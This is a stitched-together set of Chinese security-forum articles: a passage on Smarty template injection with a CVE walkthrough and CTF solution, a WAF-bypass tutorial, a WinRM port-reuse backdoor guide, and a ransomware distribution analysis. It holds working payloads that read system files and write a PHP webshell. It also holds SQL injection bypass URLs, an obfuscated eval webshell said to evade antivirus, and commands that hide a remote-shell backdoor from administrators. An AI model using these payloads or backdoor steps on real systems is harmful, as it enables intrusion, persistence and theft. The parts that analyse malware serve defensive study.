fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}
//可以看到这个方法可以读取一个文件并返回其内容，所以我们可以用self来获取Smarty对象并调用这个方法
smarty/libs/sysplugins/smarty_internal_data.php ——> getStreamVariable() 这个方法可以获取传入变量的流
例如：
{self::getStreamVariable("file:///etc/passwd")}
* 不过这种利用方式只存在于旧版本中，而且在 3.1.30 的 Smarty 版本中官方已经将 `getStreamVariable` 静态方法删除。
#### writeFile：
public function writeFile($_filepath, $_contents, Smarty $smarty)
//我们可以发现第三个参数$smarty其实就是一个smarty模板类型，要求是拒绝非Smarty类型的输入，这就意味着我们需要获取对Smarty对象的引用，然后我们在smarty中找到了 self::clearConfig()：
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}
smarty/libs/sysplugins/smarty_internal_write_file.php ——> Smarty_Internal_Write_File 这个类中有一个writeFile方法
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
但是writeFile方法也有版本限制，所以我们首先要确定模板的版本，再决定对应的攻击方法。
### 标签：
#### 1\. `{$smarty.version}`
{$smarty.version} #获取smarty的版本号
#### 2.`{php}{/php}`
{php}phpinfo();{/php} #执行相应的php代码
Smarty支持使用 {php}{/php}
标签来执行被包裹其中的php指令，最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签，强烈建议不要使用。在Smarty
3.1，{php}仅在SmartyBC中可用。
#### 3.`{literal}`
* {literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表，避免因为 Smarty 的定界符而错被解析。
* 在 PHP5 环境下存在一种 PHP 标签， `<script>language="php"></script>，`我们便可以利用这一标签进行任意的 PHP 代码执行。
* 通过上述描述也可以想到，我们完全可以利用这一种标签来实现 XSS 攻击，这一种攻击方式在 SSTI 中也是很常见的，因为基本上所有模板都会因为需要提供类似的功能。
{literal}alert('xss');{/literal}
#### 4.`{if}{/if}`
{if phpinfo()}{/if}
Smarty的 {if} 条件判断和PHP的if非常相似，只是增加了一些特性。每个{if}必须有一个配对的{/if}，也可以使用{else} 和
{elseif}，全部的PHP条件表达式和函数都可以在if内使用，如`||`，`or`，`&&`，`and`，`is_array()`等等，如：
{if is_array($array)}{/if}
还可以用来执行命令：
{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
### 漏洞复现：
重点就是沙箱逃逸的部分：
这里我们主要介绍三个漏洞，说实在有点难复现，但毕竟sp4师傅是我的大师哥，想成为sp4师傅这样的大佬，那大佬走过的路我们也是要走走的。
#### CVE-2017-1000480:
环境链接：[Releases · smarty-php/smarty (github.com)](https://github.com/smarty-php/smarty/releases)
在下面再写一个文件，用于利用漏洞，也是漏洞的触发点display, 渲染页面以后输出结果的这个函数：
<?php
define('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__));
define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR.'/tmp/templates_c');
define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR.'/tmp/cache');
include_once(SMARTY_ROOT_DIR . '/smarty-3.1.31/libs/Smarty.class.php');
class testSmarty extends Smarty_Resource_Custom
{
protected function fetch($name, &$source, &$mtime)
{
$template = "CVE-2017-1000480 smarty PHP code injection";
$source = $template;
$mtime = time();
}
}
$smarty = new Smarty();
$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('test', new testSmarty);
$smarty->display('test:'.$_GET['eval']);
?>
我们来跟进smarty对象的成员方法display, 位置为
smarty-3.1.31\libs\sysplugins\smarty_internal_templatebase.php
public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
{
// display template
$this->_execute($template, $cache_id, $compile_id, $parent, 1);
}
因为我们只给display传入了一个参数，所以我们传给display的参数就是这里的局部变量$template,
然后调用了函数_execute()，跟进一下，由于这段函数非常的长，我们就只关注有关template参数的地方，贴一下师傅的图：
我们可以发现template在这段代码中，直接进入elseif语句，其结果是使用了createTemplate方法，并且将template的值进行了覆盖，然后我们对createTemplate方法进行追综，可以发现template最后被赋值成一个Smarty_Internal_Template的对象，也正如createtemplate的字面意思
然后我们再回到原来的_execute代码处，在template被赋值为一个新的模板以后，我们会进入一个try结构，然后继续去关注里面的temlate参数走向，我们跟进render：
public function render(Smarty_Internal_Template $_template, $no_output_filter = true)
{
if ($this->isCached($_template)) {
if ($_template->smarty->debugging) {
if (!isset($_template->smarty->_debug)) {
$_template->smarty->_debug = new Smarty_Internal_Debug();
}
$_template->smarty->_debug->start_cache($_template);
}
if (!$this->processed) {
$this->process($_template);
}
$this->getRenderedTemplateCode($_template);
if ($_template->smarty->debugging) {
$_template->smarty->_debug->end_cache($_template);
}
return;
} else {
$_template->smarty->ext->_updateCache->updateCache($this, $_template, $no_output_filter);
}
}
这里因为我们之前没有进行过模板缓存文件的生成会进入这里的 else，我们继续跟进 smartytemplatecompiled 类中的这个 render：
public function render(Smarty_Internal_Template $_template)
{
// checks if template exists
if (!$_template->source->exists) {
$type = $_template->source->isConfig ? 'config' : 'template';
throw new SmartyException("Unable to load {$type} '{$_template->source->type}:{$_template->source->name}'");
}
if ($_template->smarty->debugging) {
if (!isset($_template->smarty->_debug)) {
$_template->smarty->_debug = new Smarty_Internal_Debug();
}
$_template->smarty->_debug->start_render($_template);
}
if (!$this->processed) {
$this->process($_template);
}
}
第105行开始对前面生成的模板进行处理：
# smarty_template_compiled
# line about 104
if (!$this->processed) {
$this->process($_template);
}
可以看到这里的 $this->process($_template)；跟进process
public function process(Smarty_Internal_Template $_smarty_tpl)
{
$source = &$_smarty_tpl->source;
$smarty = &$_smarty_tpl->smarty;
if ($source->handler->recompiled) {
$source->handler->process($_smarty_tpl);
} elseif (!$source->handler->uncompiled) {
if (!$this->exists || $smarty->force_compile ||
($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
) {
$this->compileTemplateSource($_smarty_tpl);
$compileCheck = $smarty->compile_check;
$smarty->compile_check = false;
$this->loadCompiledTemplate($_smarty_tpl);
$smarty->compile_check = $compileCheck;
} else {
$_smarty_tpl->mustCompile = true;
@include($this->filepath);
if ($_smarty_tpl->mustCompile) {
$this->compileTemplateSource($_smarty_tpl);
$compileCheck = $smarty->compile_check;
$smarty->compile_check = false;
$this->loadCompiledTemplate($_smarty_tpl);
$smarty->compile_check = $compileCheck;
}
}
$_smarty_tpl->_subTemplateRegister();
$this->processed = true;
}
}
process方法定义在第90行。现在初次访问，也即文件的第97行会对模板文件进行编译，即如简介中所言开始生成编译文件：
if (!$this->exists || $smarty->force_compile ||
($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
) {
$this->compileTemplateSource($_smarty_tpl);
$compileCheck = $smarty->compile_check;
$smarty->compile_check = false;
$this->loadCompiledTemplate($_smarty_tpl);
$smarty->compile_check = $compileCheck;
}
compileTemplateSource方法定义在同文件的第189行，在第203行装载完编译器后（loadCompiler()），调用write方法进行写操作：
public function compileTemplateSource(Smarty_Internal_Template $_template)
{
...
try {
// call compiler
$_template->loadCompiler();//装载编译器
$this->write($_template, $_template->compiler->compileTemplate($_template));
}
...
跟入compileTemplate方法，定义libs\sysplugins\smarty_internal_templatecompilerbase.php第330行：
public function compileTemplate(Smarty_Internal_Template $template, $nocache = null,
Smarty_Internal_TemplateCompilerBase $parent_compiler = null)
{
// get code frame of compiled template
$_compiled_code = $template->smarty->ext->_codeFrame->create($template,
$this->compileTemplateSource($template, $nocache,
$parent_compiler),
$this->postFilter($this->blockOrFunctionCode) .
join('', $this->mergedSubTemplatesCode), false,
$this);
return $_compiled_code;
}
create是生成编译文件代码的方法，定义在`libs\sysplugins\smarty_internal_runtime_codeframe.php`第28行
//在第45行，在生成output内容时有如下代码：
$output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .
"\n from \"" . $_template->source->filepath . "\" */\n\n";
//将 $_template->source->filepath的内容直接拼接到了$output里。这段代码是为了生成编译文件中的注释，$output的头尾有注释符号/*和*/。
现在考虑如何利用，我们需要闭合前面的注释符号，即payload的最前面需要加上`*/`。同时还要把后面的`*/`给注释掉，可以在payload最后加上`//`。中间填上php代码即可。另外需要注意的是，在win平台下，文件名中不允许有`*`，而smarty框架的生成的编译文件的名字会含有我们的payload，所以在win下时会直接提示创建文件失败。
在linux平台下即可利用成功。
这就是Smarty下生成的临时文件的内容，其中蓝框的部分就是输出点，可以看到输出点是存在两个地方分别是在注释中以及在数组中。那么现在问题就很简单了，我们如何通过这两个输出点能够闭合其中的注释或者是代码，从而执行我们加入的代码。
然后在process中，能够将我们这个文件自动包含：
private function loadCompiledTemplate(Smarty_Internal_Template $_smarty_tpl)
{
if (function_exists('opcache_invalidate') && strlen(ini_get("opcache.restrict_api")) < 1) {
opcache_invalidate($this->filepath, true);
} elseif (function_exists('apc_compile_file')) {
apc_compile_file($this->filepath);
}
if (defined('HHVM_VERSION')) {
eval("?>" . file_get_contents($this->filepath));//就是这个位置
} else {
include($this->filepath);
}
}
eval(“?>”.file_get_contents($this->filepath)) 相当于一个远程文件包含，这里调用了 include
，我们之前写入缓存的php文件也就被包含进而执行了。
## 实战：
### [NISACTF 2022]midlevel：
打开题目界面：
说明这个界面是用smarty进行创建的，所以我们确定攻击方式就为smarty，下一步寻找注入点：
打开整道题都是说明的ip右上角也有ip,用到 x-forwarded-for试一下有没有模板注入，我们用上面的判断模板的方法来实践一下：
这里我们用smarty特有的注释符方式来验证，发现并没有回显comment的值，所以我们可以确定这个位置就是smarty模板注入。
然后我们确定版本：
{$smarty.version}
Current IP:3.1.30
//所以这个位置我们不能够使用获取类的静态方法来进行攻击，也不能用php标签来进行攻击。
//又因为php的版本是php7，所以我们不能用literal标签，最后我们使用if来进行攻击
后续会继续更新2021和2022的CVE漏洞，因为自己代码审计水平有限，所以还请师傅们多多指教
参考文章：
<https://www.cnblogs.com/bmjoker/p/13508538.html>
<https://www.anquanke.com/post/id/272393>
<https://blog.csdn.net/qq_45521281/article/details/107556915>
<https://www.cnblogs.com/magic-zero/p/8351974.html>
<https://blog.spoock.com/2018/03/06/Smartyty-RCE-Analysis/> | 社区文章 |
# WAF是如何被绕过的？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：掌控安全-暗箭
不知不觉来到掌控学院也快两个月了，想起俩个月前，从零开始，一步一个脚印的走到现在。虽然有时很疲惫，但是却很快乐。
在下才疏学浅，仅在这里发表一下不成熟的见解，希望对大家的提升有所帮助
首先我们要了解什么是waf：
Web应用防火墙，Web Application Firewall的简称
我们口头相谈的waf有什么功能呢？
WAF可以发现和拦截各类Web层面的攻击，记录攻击日志，实时预警提醒，在Web应 用本身存在缺陷的情况下保障其安全。
但是，WAF不是万能的、完美的、无懈可击的，在种种原因下，它们也会有 各自的缺陷，作为用户不可以盲目相信WAF而不注重自身的安全。
## 我们来看一下目前主流的WAF绕过技术：
作为攻击者，我们要清楚我们利用哪方面来进行绕过：
1. Web容器的特性
2. Web应用层的问题
3. WAF自身的问题
4. 数据库的一些特性
## Web容器特性1
在IIS+ASP的环境中，对于URL请求的参数值中的%，如果和后面的字符构成的字符串在URL编码表之外，ASP脚本 处理时会将其忽略。
现在假设有如下请求：
http://zkaq666.com/1.asp?id=1 union se%lect 1,2,3,4 fro%m adm%in
在WAF层，获取到的id参数值为 1 union all se%lect 1,2,3,4 fro%m adm%in ,此时waf因为 %
的分隔，无法检测出关键字 select from 等
但是因为IIS的特性，id获取的实际参数就变为 1 union all select 1,2,3,4 from admin ，从而绕过了waf。
这个特性仅在iis+asp上 asp.net并不存在。
## Web容器特性2
IIS的Unicode编码字符
IIS支持Unicode编码字符的解析，但是某些WAF却不一定具备这种能力。
//已知 ‘s’ 的unicode编码为：%u0053, ‘f’ 的unicode编码为 %u0066
如下：
http://zkaq666.com/1.asp?id=1 union all %u0053elect 1,2,3,4, %u0066rom admin
但是IIS后端检测到了Unicode编码会将其自动解码，脚本引擎和数据库引擎最终获取到的参数会是： 1 union all select 1,2,3,4
from admin
这种情况需要根据不同的waf进行相应的测试，并不是百发百中。但是对于绕过来说，往往只要一个字符成功绕过 即可达到目的。
## Web容器特性3
#### HPP(HTTP Parameter Pollution): HTTP参数污染:
#### 如下图
在HTTP协议中是允许同样名称的参数出现多次的。例如:
[http://zkaq666.com/1.asp?id=123&id=456](http://zkaq666.com/1.asp?id=123&id=456)
这个请求。
根据WAF的不同，一般会同时分开检查 id=123 和 id=456 ，也有的仅可能取其中一个进行检测。但是对于
IIS+ASP/ASP.NET来说，它最终获取到的ID参数的值是123,空格456(asp)或123,456(asp.net)。
所以对于这类过滤规则，攻击者可以通过：
id=union+select+password/&id=/from+admin来逃避对 select * from
的检测。因为HPP特性，id的参数值最终会变为：union select password/,/from admin
## Web容器的特性 –4
#### 畸形HTTP请求
当向Web服务器发送畸形的,非RFC2616标准的HTTP请求时,
Web服务器出于兼容的目的，会尽可能解析畸形HTTP请求。而如果Web服务器的兼容方式与WAF不一致,则可能会出现绕过的情况。下面来看这个POST请求:
如果将请求改为
这个请求包就就变为了: Method不合法,没有协议字段HTTP/1.1 ,也没有Host字段。
如果在HTTP/1.1协议中，缺少HOST字段会返回400 bad
request。但是某些版本的Apache在处理这个请求时,默认会设置协议为HTTP/0.9 , Host坝默认使用Apache默认的servername
,这种畸形的请求仍然能够被处理。
如果某些WAF在处理数据的时候严格按照GET,POST等方式来获取数据,或者通过正则来处理数据库包,就会因为某些版本的Apache宽松的请求方式而被绕过。
## Web应用层的问题 -1
#### 多重编码问题
如果Web应用程序能够接收多重编码的数据，而WAF只能解码一层(或少于WEB应用程序能接收的层数)时，WAF会 因为解码不完全导致防御机制被绕过。
## Web应用层的问题 -2
#### 多数据来源的问题
如Asp和Asp.NET中的Request对象对于请求数据包的解析过于宽松，没有依照RFC的标准来，开发人员在编写代码 时如果使用如下方式接收用户传入的参数
ID=Request(“ID”)
ID=Request.Params(“ID”)
WEB程序可从以下3种途径获取到参数ID的参数值：
1. 从GET请求中获取ID的参数值；
2. 如果GET请求中没有ID参数，尝试从POST的ID参数中获取参数值；
3. 如果GET和POST中都获取不到ID的参数值，那么从Cookies中的ID参数获取参数值。
这样对于某些WAF来说，如果仅检查了GET或POST的，那么来自Cookie的注入攻击就无能为力了，更何况来自于 这三种方式组合而成的参数污染的绕过方法呢？
## WAF自身的问题 – 1
#### 白名单机制
WAF存在某些机制，不处理和拦截白名单中的请求数据：
1.指定IP或IP段的数据。
2.来自于搜索引擎爬虫的访问数据。
3.其他特征的数据
如以前某些WAF为了不影响站点的优化，将User-Agent为某些搜索引擎（如谷歌）的请求当作白名单处理，不检测和拦截。伪造HTTP请求的User-Agent非常容易，只需要将HTTP请求包中的User-Agent修改为谷歌搜索引擎 的User-Agent即可畅通无阻。
## WAF自身的问题 – 2
#### 数据获取方式存在缺陷
某些WAF无法全面支持GET、POST、Cookie等各类请求包的检测，当GET请求的攻击数据包无法绕过时，转换 成POST可能就绕过去了。或者，POST以
Content-Type: application/x-www-form-urlencoded 无法绕过时，转换成上传包格式的Content-Type:
multipart/form-data 就能够绕过去
## WAF自身的问题 – 3
#### 数据处理不恰当
1、%00截断 将 %00 进行URL解码，即是C语言中的NULL字符
如果WAF对获取到的数据存储和处理不当，那么 %00 解码后会将后面的数据截断，造成后面的数据没有经过检测。
解析：WAF在获取到参数id的值并解码后，参数值将被截断成 1/* ，后面的攻击语句将没有被WAF拿去进行检测。
2、&字符处理
这些WAF会使用&符号分割 par1 、 par2 和 par3 ，然后对其参数值进行检测。但是，如果遇到这种构造：
waf会将上传的参数分解成3部分:
如果将这3个参数分别进行检测，某些WAF是匹配不到攻击特征的。
这里的 %26 是 & 字符
/%26/->/&/ 其实只是一个SQL的注释而已
## WAF自身的问题 – 4
数据清洗不恰当
当攻击者提交的参数值中存在大量干扰数据时，如大量空格、TAB、换行、%0c、注释等，WAF需要对其进行清
洗，筛选出真实的攻击数据进行检测，以提高检查性能，节省资源。
如果WAF对数据的清洗不恰当，会导致真实的攻击数据被清洗，剩余的数据无法被检测出攻击行为。
## WAF自身的问题 – 5
规则通用性问题
通用型的WAF，一般无法获知后端使用的是哪些WEB容器、什么数据库、以及使用的什么脚本语言。
每一种WEB容器、数据库以及编程语言，它们都有自己的特性，想使用通用的WAF规则去匹配和拦截，是非常难 的。
通用型WAF在考虑到它们一些共性的同时，也必须兼顾它们的特性，否则就很容易被一些特性给Bypass！
## WAF自身的问题 – 6
为性能和业务妥协
要全面兼容各类Web Server及各类数据库的WAF是非常难的，为了普适性，需要放宽一些检查条件，暴力的过滤 方式会影响业务。
对于通用性较强的软WAF来说，不得不考虑到各种机器和系系统的性能，故对于一些超大数据包、超长数据可能会 跳过不检测。
以上就是WAF自身的一些问题，接下来我们会针对这些问题进行讲解，看看WAF是怎么受这些问题影响的。
然后是数据库的一些特性，不同的数据库有一些属于自己的特性，WAF如果不能处理好这些特性，就会出很大的问 题。
总结一下，WAF自身的问题有：总结一下，WAF自身的问题有：
1. 白名单机制
2. 数据获取方式存在缺陷
3. 数据处理不恰当
4. 数据清洗不恰当
5. 规则通用性问题
6. 为性能和业务妥协
## 实例讲解WAF绕过的思路和方法
### 一、数据提取方式存在缺陷，导致WAF被绕过
某些WAF从数据包中提取检测特征的方式存在缺陷，如正则表达式不完善，某些攻击数据因为某些干扰字符的存在而无法被提取。
#### 示例:
http://localhost/test/Article. php?type= 1&x=/&id=-2 union all select 1,2,3,4,5 from dual&y=/
某WAF在后端会将删除线部分当作注释清洗掉:
#### Request:
http://localhost/Article.php?type= 1&x=/&id=-2 union all select 1,2,3,4,5 from dual&y=/
#### WAF:
http://localhost/Article.php?type=1&x=+8id- 2 union ol seleet 1.23,45 from etual8y +
### 二、数据清洗方式不正确，导致WAF被绕过
当攻击者提交的参数值中存在大量干扰数据时，如大量空格、TAB、 换行、%0C、 注释等，WAF需要对其进行清洗:
(为提升性能和降低规则复杂性)，筛选出真实的攻击数据进行检测，但是，如果清洗方式不正确，会导致真正的攻击部分被清洗，然后拿去检测的是不含有攻击向量的数据，从而被Bypass!
实例：
htp://localhostest/Article .php?id9999-“/*“ union all select 1,2,3,4,5 as “*/“from mysql.user
某些WAF会将9999-“/*“ union all select 1 ,2,3, 4,5 as “/*” from mysql.user清洗为:
9999-“”from mysql.user
然后去检测是否有攻击特征,如果没有,执行原始语句:
9999-“/*“ union all select 1,2,3,4,5 as “*/“ from mysql.user
如：
http://abcd.com?id=9999-"/*“ union a11 select 1,2,3,4,5 as “*/“ frommysq1. user
某些WAF会将9999-“/*“ union a11 select 1,2,3,4,5 as “*/“ from mysq1. user清洗为:
9999-“” from mysq1.user然后去检测是否有攻击特征,如果没有，执行原始语句:9999”/*“ union all select
1,2,3,4,5 as “*/“ from mysq1 .user
其实，对于 /*来说，它只是一个字符串
对于 */ 来说，它也是一个字符串，在这里还充当一个别名
但是对于WAF来说，它会认为这是多行注释符，把中间的内容清洗掉去进行检测，当然检测不到什么东西。
### 三、规则通用性问题，导致WAF被绕过
比如对SQL注入数据进行清洗时，WAF一般不能知道后端数据库是MySQL还是SQL Server，那么对于MySQL 的 /*!50001Select*/
来说，这是一个Select的命令，而对于SQL Server来说，这只不过是一个注释而已，注释 的内容为 !50001Select 。
尤其是对于通用性WAF，这一点相当难做，很难去处理不同数据库的特性之间的问题。
大家可以发现，很多WAF对错误的SQL语句是不拦截的。
同样的，在Mysql中 # 是注释，但是在SQL Server中 # 只是一个字符串。
那么如下语句： 9999’ and 1=(select top 1 name as # from master..sysdatabases)— 会被当作为：
9999’ and 1=(select top 1 name as 注释
其实，这里的 # 只是一个字符，充当一个别名的角色而已。
如果后端数据库是SQL Server，这样的语句是没问题的。 但是通用型WAF怎么能知道后端是SQL Server呢？
## WAF对上传的检测和处理
#### 一、为性能和业务妥协
对于通用性较强的软WAF来说，不得不考虑到各种机器和系统的性能，故对于一些超大数据包、超长数据可能会跳 过不检测。
在上传数据包部分，强行添加5万个字符，有些WAF会直接不检测放行，或者，检测其中的一部分。 比如，检测最前面5w个字符有没有攻击特征，如果没有，放行。
针对这种，不能光靠WAF，我们应该在我们的WEB容器层面或应用程序层面来限定上传数据的大小。 所以，我们不能过度依赖于WAF。
还有很多如绕过D盾木马拦截waf的方法:
其实万变不离其踪，绕过的关键在于构建灵巧的payload
一下是我了解的一个木马绕过方法，win10的防护不会对其进行拦截
<?php
$a = “~+d()”^”!{+{}”;
$b = ${$a}[a];
eval(“n”.$b);
?>
//变量$a的值我是利用异或赋值的，$a = “~+d()”^”!{+{}”;，而字符串”~+d()”^”!{+{}”异或的结果为_POST,然后$b = ${$a}[a];与$b = $_POST[a]等价，在将其传入eval()中
但是单纯的一句话木马：<?php eval($_REQUEST[a]);?>是绝对不可能在对方电脑上正常执行的 所以我们还是要不断与时俱进的
文笔拙劣 各位见谅哦~ | 社区文章 |
**原文：<https://mp.weixin.qq.com/s/HDZUsTbffeGhgwu1FOWQNg> **
**作者： Twi1ight @孟极实验室**
说到端口复用，大部分人第一反应肯定是想到内核驱动，需要对网络接口进行一些高大上的操作才能实现。但只要合理利用操作系统提供的功能，就能以简单的方式实现这一目标，本文将公布一种基于内置系统服务的端口复用后门方法。
对于不想看原理，只关心如何使用的读者可以直接跳到“0x02. 后门配置”。
### 0x01. 基本原理介绍
该后门的基本原理是使用Windows 的远程管理管理服务WinRM，组合HTTP.sys驱动自带的端口复用功能，一起实现正向的端口复用后门。
#### WinRM服务
WinRM全称是Windows Remote
Management，是微软服务器硬件管理功能的一部分，能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统，获得一个类似Telnet的交互式命令行shell，而底层通讯协议使用的是HTTP。
#### HTTP.sys驱动
HTTP.sys驱动是IIS的主要组成部分，主要负责HTTP协议相关的处理，它有一个重要的功能叫Port
Sharing，即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口，只需要各自注册的url前缀不一样即可。
使用`netsh http show servicestate`命令可以查看所有在HTTP.sys上注册过的url前缀。
实际上，WinRM就是在HTTP.sys上注册了wsman的URL前缀，默认监听端口5985。这点从微软公布的WinRM的架构图也可以看出来。
因此，在安装了IIS的边界Windows服务器上，开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用，可以直接通过Web端口登录Windows服务器。
### 0x02. 后门配置
#### 开启WinRM服务
在Windows 2012以上的服务器操作系统中，WinRM服务默认启动并监听了5985端口，可以省略这一步。
对于Windows 2008来说，需要使用命令来启动WinRM服务，快速配置和启动的命令是`winrm quickconfig
-q`，这条命令运行后会自动添加防火墙例外规则，放行5985端口。
#### 新增80端口Listener
对于原本就开放了WinRM服务的机器来讲，需要保留原本的5985端口listener，同时需要新增一个80端口的listener，这样既能保证原来的5985端口管理员可以使用，我们也能通过80端口连接WinRM。
使用下面这条命令即可新增一个80端口的listener
`winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}`
对于安装Windows 2012及以上版本操作系统的服务器来讲，只需要这一条命令即可实现端口复用。
这种情况下，老的5985端口listener还保留着
#### 修改WinRM端口
在Windows
2008上面如果原本没有开启WinRM服务，那么需要把默认的5985端口修改成web服务端口80，否则管理员上来看到一个5985端口就可能起疑心。
通过下面这条命令即可修改端口为80
`winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}`
这种情况下，管理员查看端口也看不到5985开放，只开放80端口。
经过配置之后，WinRM已经在80端口上监听了一个listener，与此同时，IIS的web服务也能完全正常运行。
### 0x03. 后门连接和使用
#### 本地配置
本地需要连接WinRM服务时，首先也需要配置启动WinRM服务，然后需要设置信任连接的主机，执行以下两条命令即可。
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
#### 连接使用
使用winrs命令即可连接远程WinRM服务执行命令，并返回结果
`winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami`
上述命令会在远程机器上执行whoami命令，获取结果后直接退出。
将whoami命令换成cmd即可获取一个交互式的shell
`winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd cmd`
#### UAC问题
WinRM服务也是受UAC影响的，所以本地管理员用户组里面只有administrator可以登录，其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM，需要修改注册表设置。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改后，普通管理员登录后也是高权限。
#### Hash登录
系统自带的winrs命令登录时需要使用明文账号密码，那很多场景下尤其是windows
2012以后，经常只能抓取到本地用户的hash，无法轻易获得明文密码。因此需要实现一款支持使用NTLM hash登录的客户端，使用python来实现不难。
### 0x04. 结语
本文给出了一种使用WinRM作为端口复用后门的方法。但限于篇幅，还存在很多细节问题没有涉及，留待读者进行更深层次的研究。另外也在此抛出两个小问题，有兴趣的读者可以思考下：
1、在已有WinRM服务的情况下，对于非80端口的web服务要如何处理；
2、HTTPS连接的配置和使用。
* * * | 社区文章 |
# 对UNNAMED1989勒索病毒的传播及代码的相关分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
12月2日凌晨，360互联网安全中心紧急发布了关于最新勒索病毒UNNAMED1989的传播情况和初步分析结论。2日早晨，我们还公布了解密工具帮助中招用户解密。经过一天时间，360又对该勒索病毒的传播和代码进行了进一步的深入分析。
## 传播渠道
该勒索病毒主要捆绑在刷量软件、外挂、打码软件、私服等第三方开发的应用程序传播，通过QQ、QQ群共享、网盘分享、论坛贴吧等形式将这些应用程序发送给受害者。受害者运行后机器上就会感染下载器木马，之后再由下载器木马安装其它恶意程序，这之中就包括本次传播的UNNAMED1989勒索病毒。部分参与传播本次勒索病毒的应用程序如下表所示。
应用程序文件名
|
MD5
---|---
大刷子.exe
|
8f9463f9a9e56e8f97f30cd06dd2b7be
更新器.exe
|
9368b4b542a275b8d0a2b19601b5823e
【苏州vip】益农社全自动邀请_se.exe
|
baff9b641d7baff59a33dfac1057c4a8
【白浅vip】掌上生活-20v1.0.exe
|
d5f9cfa306bcdd50c3b271bfe01d81ff
[无验证]【夜夜】海草公社邀请注册1.1.exe
|
42651293d5e0b970521a465d2c4928a6
【夺宝头条】邀请阅读v1.0.exe
|
028c48146f08691ae8df95b237d39272
表1 部分参与传播本次勒索病毒的应用程序信息
经分析发现，这些下载器在代码风格上与此次勒索病毒高度一致，可能出自同一黑客（团伙）之手。下图展示了这些应用程序与勒索病毒的一段代码对照：
图1 传播程序与勒索病毒部分代码对照
## 传播过程
从感染下载器木马，到被下发勒索病毒周期较长，部分受害者在中招多天之后才遭到勒索，很难关联到是由于之前使用的一些外挂程序造成的。当受害者运行带毒的外挂软件时，软件主程序会在多个目录下释放恶意文件，其中部分释放路径如下表所示。
%userprofile%\appdata\local\temp\9377.game\
---
%userprofile%\appdata\local\temp\gamedown\009\
%userprofile%\appdata\roaming\tencent\rtl\uistyle\x64\
%userprofile%\appdata\roaming\tencent\rtl\uistyle\
表2 恶意文件释放路径
释放的恶意文件是一组带有导入表DLL劫持的“白利用”组合（该技术在国内病毒制作圈中非常流行），攻击者通过DLL劫持的方式劫持合法程序执行流程，使“正常”程序执行恶意代码，试图躲避杀毒软件查杀。攻击者使用的三组“白利用”如表3所示。
合法程序MD5
|
“白利用”恶意程序MD5
---|---
495ae240d5cd6c9269815f3b90f0522a
|
43079041ef46324f86ac9afc96169104
74828b11ba45d85ccd069559a4cf56fa
|
847bcf6655db46673ad135997de77cf2
e59e119b3b2d3fe2a8ac8857c7dcecfc
|
6455b968e811041998c384d6826814df
表3 攻击者使用的三组“白利用”
这三组“白利用”被用做木马下载器使用，长期驻留用户系统。攻击者在其豆瓣主页以及github中保存一组加密的控制指令，下载器读取到指令后解密获得下阶段木马程序下载URL。图4展示了保存在攻击者豆瓣主页的加密字符串。图5则展示了字符串解密后的配置文件内容。
图4 保存在豆瓣的加密字符串
图5 解密后的配置文件内容
程序获取到的下阶段木马下载URL指向一张由正常图片和压缩包拼接而成的图片，通过截取图片并解压文件能够获取下一阶段程序。图5展示了图片的十六进制内容，可以明显看见zip压缩包的文件头部。
图6 程序下载的由正常图片和压缩包拼接而成的图片
之后的木马程序会从网络上下载更多拼接了恶意文件的图片并提取恶意文件。根据我们分析发现，攻击者不仅通过该方式往受害者机器上植入勒索病毒，还植入过盗号木马。这些恶意程序会注入到合法进程中工作，并带有更新功能，通过获取攻击者豆瓣主页上的字符串获取更新地址，以根据情况更改植入受害者计算机的恶意程序。
图7 木马程序中硬编码的下载地址
在11月19日开始，攻击者开始通过上述方式向用户计算机中植入名为realtekarm.dll.aux的恶意程序并在机器中持续驻留。之后realtekarm.dll.aux作为下载器以相同方式下载勒索病毒相关文件。并将勒索病毒写入了用户计算机的启动项，在用户下次启动计算机时，文件就会被加密。该勒索病毒同样是通过DLL劫持方式，劫持正常程序执行其病毒功能。
图8 攻击者释放的勒索病毒相关文件
图9 被加入启动项的勒索病毒及命令行
根据360互联网安全中心根据传播此次勒索病毒的下载器所请求的域名进行了统计，下图展示的就是下载器自11月16日起，对其相关域名进行请求的PV和UV波动趋势，在一定程度上也可反映出该勒索病毒的传播趋势。
图10 传播本次勒索病毒的下载器对相关域名请求的波动趋势
## 勒索病毒分析
勒索病毒运行后，会加密桌面上以及除了C盘外的其他磁盘中的文件。在加密文件类型选择上，除了应用程序运行时所需要的文件类型——例如exe、dll、ini等——被放过之外，其他文件均被加密。这也造成用户文档、图片等重要文件被加密。
图11 勒索病毒放过的文件类型
